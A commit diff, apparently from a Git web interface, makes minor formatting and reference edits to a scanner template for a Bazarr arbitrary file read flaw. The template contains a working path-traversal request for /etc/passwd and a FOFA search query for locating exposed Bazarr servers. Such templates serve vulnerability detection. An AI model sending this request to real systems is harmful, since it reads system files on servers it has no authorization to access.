minor-update
parent
2b4706defe
commit
3c9ba8908b
|
@ -7,13 +7,14 @@ info:
|
|||
description: |
|
||||
Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
|
||||
reference:
|
||||
- https://github.com/4rdr/proofs/blob/d70b285245ac6e6efc71aa82c4aac8a4c615c29f/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
|
||||
- https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
|
||||
- https://www.bazarr.media/
|
||||
metadata:
|
||||
vendor: morpheus65535
|
||||
product: bazarr
|
||||
fofa-query: title=="Bazarr" && icon_hash="-1983413099"
|
||||
tags: bazarr,lfi
|
||||
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
|
@ -23,6 +24,7 @@ http:
|
|||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '<title>Bazarr</title>'
|
||||
internal: true
|
||||
|
@ -32,7 +34,6 @@ http:
|
|||
GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
|
|
Loading…
Reference in New Issue